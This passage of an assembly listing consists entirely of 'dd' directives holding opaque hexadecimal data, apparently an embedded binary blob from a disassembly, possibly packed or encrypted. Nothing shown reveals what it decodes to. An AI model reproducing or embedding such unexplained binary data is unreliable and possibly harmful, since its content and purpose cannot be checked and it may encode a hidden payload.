3C033F1Eh, 0E0EC118Fh dd 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh, 9009937h dd 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh, 400C8CCh dd 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h, 311FDC73h dd 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h, 79CC6398h dd 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h, 6C5D798Fh dd 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h, 4807519h dd 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h, 5C809219h dd 9300053h, 3C247214h, 89161260h, 6003992Ch, 0A8A5D481h dd 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh, 0F9C4B93Ah dd 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h, 0A000941Ch dd 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h, 0D9F82808h dd 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h, 4C7470C9h dd 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh, 250CA49Eh dd 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh, 69C6015Ah dd 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh, 4C619901h dd 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h, 66107A30h dd 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h, 94D31287h dd 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h, 0CC5211ECh dd 3106730h, 94B059F2h, 70C00C84h, 2390B199h, 995AC00h dd 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h, 0C6FC9600h dd 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h, 91934C87h dd 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h, 9EF205C0h dd 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch, 2C0298h dd 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh, 3F961E93h dd 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h dd 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h, 2425127Fh dd 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh dd 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h, 0BFC0FDAEh dd 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh dd 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h, 41400F4h dd 268C1C97h, 27B83411h, 4C00427Eh, 64445822h, 0C020A672h dd 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h, 223A522Ch dd 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h, 0F0E0E2EFh dd 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h dd 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h dd 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh, 259BE0F0h dd 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch dd 70154C8h, 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h dd 3E7E2C74h, 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h dd 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh dd 1C0C6854h, 49646117h, 446DD300h, 0F83046h, 69757243h dd 617B63E4h, 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h dd 7EDA45E0h, 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h dd 75EC43F7h, 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h dd 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h dd 61683EBCh, 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h dd 98212ED5h, 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch dd 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h, 612445F1h dd 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h dd 417C6F66h, 72504300h, 64713E7Bh, 735200CEh, 4DC73634h dd 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h dd 6D0057F8h, 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h dd 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h dd 0ED08BE64h, 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah dd 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h dd 440E703Ch, 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh dd 4F5C4562h, 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h dd 7B041857h, 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h dd 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh dd 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h dd 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh dd 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h dd 0C80943B6h, 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch dd 20E4D00h, 9A4F29D9h dd 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h, 29747561h dd 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h dd 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh, 844DE965h dd 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah dd 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh dd 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h dd 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h dd 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh dd 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h dd 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h dd 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h dd 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h, 149738Bh dd 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh dd 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h, 0CC6B1E84h dd 73F70DAh, 41256361h, 0F22EC097h, 5D005051h, 93C077A2h dd 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh, 24DF3E00h dd 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h dd 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h dd 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h dd 0D5004967h, 252366EDh, 38699FA0h, 9480B970h, 0A276B444h dd 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h dd 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h dd 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh, 9C9BA8h dd 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh dd 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h, 0B41D2CD4h dd 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h dd 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h dd 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h dd 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h, 981A0C7Dh dd 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h, 18547078h dd 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h dd 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h, 70801h dd 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h, 0E850E44Ch dd 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah dd 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh dd 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h, 0F93AF132h dd 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h dd 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h dd 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah, 0BF90B87Eh dd 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch, 55362161h dd 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh, 1ECD9EC2h dd 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h, 0B43A6730h dd 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h, 7EAE7EA8h dd 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah, 2E672847h dd 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh, 303B1AE1h dd 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h, 1D2E9D15h dd 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h dd 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h, 0E172D92Dh dd 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh, 8CC0007h dd 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh dd 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh, 3EFE971Eh dd 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h, 1CFC7E0Eh dd 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh, 87F980EEh dd 3083302h, 21471827h, 0F0017267h, 93C789A7h, 0A1C999E7h dd 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh, 0E0BFD9B7h dd 72351900h, 7627741Fh, 6278014Ah, 3F368349h, 0D0C9C9B5h dd 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h dd 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h, 663D4A3Ch dd 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh, 0D3C3A1B3h dd 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h, 12A71DCCh dd 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h, 0CF19ABC8h dd 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah, 1CF2007Eh dd 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh, 7873762Bh dd 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h dd 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h dd 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h dd 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h, 643203CFh dd 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h dd 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h, 459E3E1Dh dd 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h dd 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h dd 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h dd 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h, 0F279E3h dd 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh dd 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h dd 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h dd 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h dd 7E717C70h, 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh dd 1B370D1Ch, 91D259Dh, 1E489E43h, 87675584h, 678647B5h dd 0AF96878Eh, 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh dd 0A4E69FDEh, 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h dd 36A52EA0h, 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h dd 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h dd 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h dd 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h dd 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h dd 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh dd 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh dd 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h dd 3A0C3B39h, 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h dd 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh dd 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h dd 487FC20h, 195B03Ch, 671C4714h, 602C8424h, 253CC93h dd 7CFEC77Fh, 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh dd 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h, 1C396548h dd 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh dd 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh dd 0EDEE059h, 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h dd 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h dd 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h dd 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h dd 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h dd 91A422A0h, 49E0122Ah dd 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h, 612501D4h dd 51347882h, 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h dd 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h dd 3970FCh, 83A0431h, 383C665Ch, 2E403D00h, 4C9F6844h dd 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h dd 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h dd 93043D80h, 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h dd 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h dd 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h dd 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h, 60CF5C22h dd 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh, 12BC8732h dd 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h, 4D3A1434h dd 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh, 0DE70B5A1h dd 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh dd 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h dd 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h, 0DA2474BAh dd 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh, 0B840A4CFh dd 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h dd 44095670h, 4F848F4h, 49D25094h, 419A4A58h, 0E2F1C688h dd 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh dd 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h, 818E259Fh dd 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h dd 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h, 0A748009Fh dd 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h dd 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h, 9F00A72Eh dd 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h dd 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h, 2B0E0058h dd 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h, 0D8A5437Fh dd 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h dd 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h, 47780203h dd 989B6787h, 12AEFEh, 940CF188h, 30050708h, 0D824A509h dd 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh dd 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h dd 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h dd 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h, 0C45385h dd 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h dd 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h, 11360800h dd 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h dd 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h, 610F2BC9h dd 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h dd 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h dd 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h, 4BD897A2h dd 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h dd 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h dd 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h dd 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h dd 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h dd 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h dd 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h dd 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h dd 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh dd 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh dd 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah, 4FF0FF3Eh dd 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh, 97C9893Fh dd 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h, 48493327h dd 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h, 86317247h dd 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h dd 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh dd 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h dd 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h, 0E53A0Fh dd 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h, 3E560060h dd 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h, 75312E30h dd 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h, 356D001Ch dd 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h dd 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h dd 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h dd 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h dd 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h dd 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h dd 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h dd 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh dd 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch dd 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh dd 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h dd 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch dd 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh dd 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h, 0FE27FAh, 0F437B02Dh dd 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h dd 0FBFA00E7h, 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h dd 14642641h, 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh dd 25903FCCh, 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h dd 20CF1C8Fh, 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h dd 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch dd 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh dd 67983Ah, 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h dd 2E91C30h, 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h dd 5CA05344h, 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh dd 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh dd 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh dd 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h dd 66013142h, 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h dd 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h dd 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h dd 6F004EE8h, 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh dd 0AB9322h, 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h dd 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh dd 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h dd 331883D7h, 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h dd 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h dd 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h dd 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h dd 2F7E297Ch, 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h dd 8AF8927Eh, 0AEF20049h dd 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h, 583BDAD4h dd 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh dd 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h dd 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h, 28823302h dd 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h dd 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h, 3E2D000Bh dd 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh dd 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h, 44070292h dd 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h, 0A08EC798h dd 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h dd 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h, 92620026h dd 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h dd 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h dd 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h dd 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h dd 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h dd 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h dd 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h dd 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h dd 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh, 1F71FAACh dd 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h dd 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h dd 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah, 3C9100D9h dd 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah, 0F42CF028h dd 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h, 12140037h dd 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h dd 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h dd 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h, 0F5F2583Bh dd 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h dd 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h dd 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h, 94004974h dd 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh dd 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h, 0CEBAE680h dd 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h, 37E0018Eh dd 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh dd 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh, 43FA0729h dd 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch, 0BF0293B3h dd 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h dd 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h dd 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h dd 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h dd 3F2F7A0h, 740068F0h, 783E9822h, 574946h, 259B3FA8h dd 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h dd 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh dd 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h dd 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h, 2DED78E1h dd 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h, 0C08C5056h dd 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh dd 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h dd 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h dd 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh dd 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h dd 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h dd 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh dd 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h dd 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h dd 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h, 48058F80h dd 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh dd 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h dd 4BF045ECh, 0A2923C80h, 0F6F034Fh, 